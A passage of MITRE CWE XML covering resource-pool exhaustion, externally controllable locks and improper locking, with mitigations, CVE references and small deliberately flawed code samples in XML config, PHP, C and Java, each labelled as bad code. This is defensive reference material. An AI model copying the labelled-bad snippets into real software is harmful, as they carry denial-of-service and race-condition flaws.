						            <Text>Floods often cause a crash or other problem besides denial of the
							resource itself; these are likely examples of *other* vulnerabilities,
							not an insufficient resource pool.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Do not perform resource-intensive transactions for unauthenticated
							users and/or invalid requests.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Consider implementing a velocity check mechanism which would detect
							abusive behavior.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Consider load balancing as an option to handle heavy loads.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Make sure that resource handles are properly closed when no longer
							needed.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Find the resouce intensive operations in your code and consider
							protecting them from abuse (e.g. malicious automated script which runs
							the resources out).</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>In the following snippet from a Tomcat configuration file, a JDBC
						connection pool is defined with a maximum of 5 simultaneous connections
						(with a 60 second timeout). In this case, it may be trivial for an attacker
						to instigate a denial of service (DoS) by using up all of the available
						connections in the pool.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>XML</Code_Example_Language>
							              <Code>&lt;Resource name="jdbc/exampledb"</Code>
							              <Code>auth="Container"</Code>
							              <Code>type="javax.sql.DataSource"</Code>
							              <Code>removeAbandoned="true"</Code>
							              <Code>removeAbandonedTimeout="30"</Code>
							              <Code>maxActive="5"</Code>
							              <Code>maxIdle="5"</Code>
							              <Code>maxWait="60000"</Code>
							              <Code>username="testuser"</Code>
							              <Code>password="testpass"</Code>
							              <Code>driverClassName="com.mysql.jdbc.Driver"</Code>
							              <Code>url="jdbc:mysql://localhost/exampledb"/&gt;</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-1999-1363</Observed_Example_Reference>
					          <Observed_Example_Description>Large number of locks on file exhausts the pool
						and causes crash.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-1340</Observed_Example_Reference>
					          <Observed_Example_Description>Product supports only one connection and does not
						disconnect a user who does not provide
						credentials.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0406</Observed_Example_Reference>
					          <Observed_Example_Description>Large number of connections without providing
						credentials allows connection exhaustion.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Functional_Areas>
				        <Functional_Area>Non-specific</Functional_Area>
			      </Functional_Areas>
			      <References>
				        <Reference Reference_ID="REF-11">
					          <Reference_Author>M. Howard</Reference_Author>
					          <Reference_Author>D. LeBlanc</Reference_Author>
					          <Reference_Title>Writing Secure Code</Reference_Title>
					          <Reference_Section>Chapter 17, "Protecting Against Denial of Service Attacks"
						Page 517</Reference_Section>
					          <Reference_Edition>2nd Edition</Reference_Edition>
					          <Reference_Publisher>Microsoft</Reference_Publisher>
					          <Reference_PubDate>2002</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Insufficient Resource Pool</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2004">
					          <Mapped_Node_Name>Denial of Service</Mapped_Node_Name>
					          <Mapped_Node_ID>A9</Mapped_Node_ID>
					          <Mapping_Fit>CWE_More_Specific</Mapping_Fit>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Use thread pools to enable graceful degradation of service
						during traffic bursts</Mapped_Node_Name>
					          <Mapped_Node_ID>TPS00-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Sean Eidemiller</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>added/updated demonstrative
						examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated References</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="412" Name="Unrestricted Externally Accessible Lock" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software properly checks for the existence of a lock, but
					the lock can be externally controlled or influenced by an actor that is outside
					of the intended sphere of control.</Description_Summary>
				        <Extended_Description>
					          <Text>This prevents the software from acting on associated resources or
						performing other behaviors that are controlled by the presence of the lock.
						Relevant locks might include an exclusive lock or mutex, or modifying a
						shared resource that is treated as a lock. If the lock can be held for an
						indefinite period of time, then the denial of service could be
						permanent.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>667</Relationship_Target_ID>
					          <!--Improper Locking-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>411</Relationship_Target_ID>
					          <!--Resource Locking Problems-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">700</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>361</Relationship_Target_ID>
					          <!--Time and State-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>730</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A9 - Denial of Service-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanAlsoBe</Relationship_Nature>
					          <Relationship_Target_ID>410</Relationship_Target_ID>
					          <!--Insufficient Resource Pool-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>853</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 08 - Locking (LCK)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>894</Relationship_Target_ID>
					          <!--SFP Cluster: Synchronization-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>This overlaps Insufficient Resource Pool when the "pool" is of size 1. It
						can also be resultant from race conditions, although the timing window could
						be quite large in some cases.</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>DoS: resource consumption
						(other)</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>When an attacker can control a lock, the program may wait indefinitely
							until the attacker releases the lock, causing a denial of service to
							other users of the program. This is especially problematic if there is a
							blocking operation on the lock.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Detection_Methods>
				        <Detection_Method>
					          <Method_Name>White Box</Method_Name>
					          <Method_Description>
						            <Text>Automated code analysis techniques might not be able to reliably
							detect this weakness, since the application's behavior and general
							security model dictate which resource locks are critical. Interpretation
							of the weakness might require knowledge of the environment, e.g. if the
							existence of a file is used as a lock, but the file is created in a
							world-writable directory.</Text>
					          </Method_Description>
				        </Detection_Method>
			      </Detection_Methods>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use any access control that is offered by the functionality that is
							offering the lock.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use unpredictable names or identifiers for the locks. This might not
							always be possible or feasible.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Consider modifying your code to use non-blocking synchronization
							methods.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-69">
					          <Intro_Text> This code tries to obtain a lock for a file, then writes to it. </Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>PHP</Code_Example_Language>
							              <Code>function writeToLog($message){</Code>
							              <Block>
								                <Code>$logfile = fopen("logFile.log", "a");</Code>
								                <Comment>//attempt to get logfile lock</Comment>
								                <Code>if (flock($logfile, LOCK_EX)) {</Code>
								                <Block>
									                  <Code>fwrite($logfile,$message);</Code>
									                  <Comment>// unlock logfile</Comment>
									                  <Code>flock($logfile, LOCK_UN);</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>else {</Code>
								                <Block>
									                  <Code>print "Could not obtain lock on logFile.log, message not
										recorded\n";</Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code>}</Code>
							              <Code>fclose($logFile);</Code>
						            </Block>
						            <Text> PHP by default will wait indefinitely until a file lock is released.
							If an attacker is able to obtain the file lock, this code will pause
							execution, possibly leading to denial of service for other users. Note
							that in this case, if an attacker can perform an flock() on the file,
							they may already have privileges to destroy the log file. However, this
							still impacts the execution of other programs that depend on
							flock().</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-0682</Observed_Example_Reference>
					          <Observed_Example_Description>Program can not execute when attacker obtains a
						mutex.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1914</Observed_Example_Reference>
					          <Observed_Example_Description>Program can not execute when attacker obtains a
						lock on a critical output file.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1915</Observed_Example_Reference>
					          <Observed_Example_Description>Program can not execute when attacker obtains a
						lock on a critical output file.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0051</Observed_Example_Reference>
					          <Observed_Example_Description>Critical file can be opened with exclusive read
						access by user, preventing application of security policy. Possibly related
						to improper permissions, large-window race condition.
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2000-0338</Observed_Example_Reference>
					          <Observed_Example_Description>Chain: predictable file names used for locking,
						allowing attacker to create the lock beforehand. Resultant from permissions
						and randomness.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2000-1198</Observed_Example_Reference>
					          <Observed_Example_Description>Chain: Lock files with predictable names.
						Resultant from randomness.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1869</Observed_Example_Reference>
					          <Observed_Example_Description>Product does not check if it can write to a log
						file, allowing attackers to avoid logging by accessing the file using an
						exclusive lock. Overlaps unchecked error condition. This is not quite
						CWE-412, but close.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Unrestricted Critical Resource Lock</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="7 Pernicious Kingdoms">
					          <Mapped_Node_Name>Deadlock</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2004">
					          <Mapped_Node_Name>Denial of Service</Mapped_Node_Name>
					          <Mapped_Node_ID>A9</Mapped_Node_ID>
					          <Mapping_Fit>CWE_More_Specific</Mapping_Fit>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Use private final lock objects to synchronize classes that may
						interact with untrusted code</Mapped_Node_Name>
					          <Mapped_Node_ID>LCK00-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Avoid deadlock by requesting and releasing locks in the same
						order</Mapped_Node_Name>
					          <Mapped_Node_ID>LCK07-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <White_Box_Definitions>
				        <White_Box_Definition>
					          <Text>A weakness where:</Text>
					          <Block>
						            <Text>1. either an end statement performs a blocking operation on an
							externally accessible lock or</Text>
						            <Text>2. a code path has</Text>
						            <Block>
							              <Text>2.1. the start statement that performs a non-blocking operation on
								an externally accessible lock and</Text>
							              <Text>2.2. the end statement that is a condition which checks that the
								lock operation failed and that either</Text>
							              <Block>
								                <Text>2.2.1. leads to the start statement or</Text>
								                <Text>2.2.2. leads to abnormal termination.</Text>
							              </Block>
						            </Block>
					          </Block>
				        </White_Box_Definition>
			      </White_Box_Definitions>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>25</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Contribution Contribution_Mode="Feedback">
					          <Contribution_Organization>KDM Analytics</Contribution_Organization>
					          <Contribution_Date>2008-08-29</Contribution_Date>
					          <Contribution_Comment>suggested clarification of description and observed
						examples, which were vague and inconsistent.</Contribution_Comment>
				        </Contribution>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier_Organization>KDM Analytics</Modifier_Organization>
					          <Modification_Date>2008-08-01</Modification_Date>
					          <Modification_Comment>added/updated white box definitions</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier_Organization>Veracode</Modifier_Organization>
					          <Modification_Date>2008-08-15</Modification_Date>
					          <Modification_Comment>Suggested OWASP Top Ten 2004
						mapping</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Description,
						Detection_Factors, Relationships, Observed_Example, Relationship_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External" Modification_Importance="Critical">
					          <Modifier>KDM Analytics</Modifier>
					          <Modification_Date>2009-07-17</Modification_Date>
					          <Modification_Comment>Suggested a better name and the minimal relationship with
						resources regardless of their criticality.</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier>KDM Analytics</Modifier>
					          <Modification_Date>2009-07-17</Modification_Date>
					          <Modification_Comment>Added a White_Box_Definition and clarified the
						consequences.</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Description, Name,
						Potential_Mitigations, White_Box_Definitions</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Unrestricted Critical
						Resource Lock</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2009-07-27">Unrestricted Lock on Critical
						Resource</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="413" Name="Improper Resource Locking" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The software does not lock or does not correctly lock a
					resource when the software must have exclusive access to the resource. </Description_Summary>
				        <Extended_Description>
					          <Text>When a resource is not properly locked, an attacker could modify the
						resource while it is being operated on by the software. This might violate
						the software's assumption that the resource will not change, potentially
						leading to unexpected behaviors.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>667</Relationship_Target_ID>
					          <!--Improper Locking-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>411</Relationship_Target_ID>
					          <!--Resource Locking Problems-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>852</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 07 - Visibility and Atomicity (VNA)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>853</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 08 - Locking (LCK)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>894</Relationship_Target_ID>
					          <!--SFP Cluster: Synchronization-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>DoS: instability</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use a non-conflicting privilege scheme.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use synchronization when locking a resource.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-24">
					          <Intro_Text>The following function attempts to acquire a lock in order to
						perform operations on a shared resource.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>void f(pthread_mutex_t *mutex) {</Code>
							              <Block>
								                <Code>pthread_mutex_lock(mutex);</Code>
								                <Code/>
								                <Comment>/* access shared resource */</Comment>
								                <Code/>
								                <Code>pthread_mutex_unlock(mutex);</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>However, the code does not check the value returned by
							pthread_mutex_lock() for errors. If pthread_mutex_lock() cannot acquire
							the mutex for any reason the function may introduce a race condition
							into the program and result in undefined behavior.</Text>
						            <Text>In order to avoid data races correctly written programs must check the
							result of thread synchronization functions and appropriately handle all
							errors, either by attempting to recover from them or reporting it to
							higher levels.</Text>
						            <Block Block_Nature="Good_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>int f(pthread_mutex_t *mutex) {</Code>
							              <Block>
								                <Code>int result;</Code>
								                <Code/>
								                <Code>result = pthread_mutex_lock(mutex);</Code>
								                <Code>if (0 != result)</Code>
								                <Block>
									                  <Code>return result;</Code>
								                </Block>
								                <Code/>
								                <Comment>/* access shared resource */</Comment>
								                <Code/>
								                <Code>return pthread_mutex_unlock(mutex);</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>This Java example shows a simple BankAccount class with deposit and
						withdraw methods.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>public class BankAccount {</Code>
							              <Block>
								                <Code/>
								                <Comment>// variable for bank account balance</Comment>
								                <Code>private double accountBalance;</Code>
								                <Code/>
								                <Comment>// constructor for BankAccount</Comment>
								                <Code>public BankAccount() {</Code>
								                <Block>
									                  <Code>accountBalance = 0;</Code>
								                </Block>
								                <Code>}</Code>
								                <Code/>
								                <Comment>// method to deposit amount into BankAccount</Comment>
								                <Code>public void deposit(double depositAmount) {</Code>
								                <Block>
									                  <Code/>
									                  <Code>double newBalance = accountBalance + depositAmount;</Code>
									                  <Code>accountBalance = newBalance;</Code>
								                </Block>
								                <Code>}</Code>
								                <Code/>
								                <Comment>// method to withdraw amount from BankAccount</Comment>
								                <Code>public void withdraw(double withdrawAmount) {</Code>
								                <Block>
									                  <Code/>
									                  <Code>double newBalance = accountBalance -
										withdrawAmount;</Code>
									                  <Code>accountBalance = newBalance;</Code>
								                </Block>
								                <Code>}</Code>
								                <Code/>
								                <Comment>// other methods for accessing the BankAccount
									object</Comment>
								                <Code>...</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>However, the deposit and withdraw methods have shared access to the
							account balance private class variable. This can result in a race
							condition if multiple threads attempt to call the deposit and withdraw
							methods simultaneously where the account balance is modified by one
							thread before another thread has completed modifying the account
							balance. For example, if a thread attempts to withdraw funds using the
							withdraw method before another thread that is depositing funds using the
							deposit method completes the deposit then there may not be sufficient
							funds for the withdraw transaction.</Text>
						            <Text>To prevent multiple threads from having simultaneous access to the
							account balance variable the deposit and withdraw methods should be
							synchronized using the synchronized modifier.</Text>
						            <Block Block_Nature="Good_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>public class BankAccount {</Code>
							              <Block>
								                <Code>...</Code>
								                <Comment>// synchronized method to deposit amount into
									BankAccount</Comment>
								                <Code>public synchronized void deposit(double depositAmount)
									{</Code>
								                <Block>
									                  <Code>...</Code>
								                </Block>
								                <Code>}</Code>
								                <Code/>
								                <Comment>// synchronized method to withdraw amount from
									BankAccount</Comment>
								                <Code>public synchronized void withdraw(double withdrawAmount)
									{</Code>
								                <Block>
									                  <Code>...</Code>
								                </Block>
								                <Code>}</Code>
								                <Code/>
								                <Code>...</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>An alternative solution is to use a lock object to ensure exclusive
							access to the bank account balance variable. As shown below, the deposit
							and withdraw methods use the lock object to set a lock to block access
							to the BankAccount object from other threads until the method has
							completed updating the bank account balance variable.</Text>
						            <Block Block_Nature="Good_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>public class BankAccount {</Code>
							              <Block>
								                <Code>...</Code>
								                <Comment>// lock object for thread access to methods</Comment>
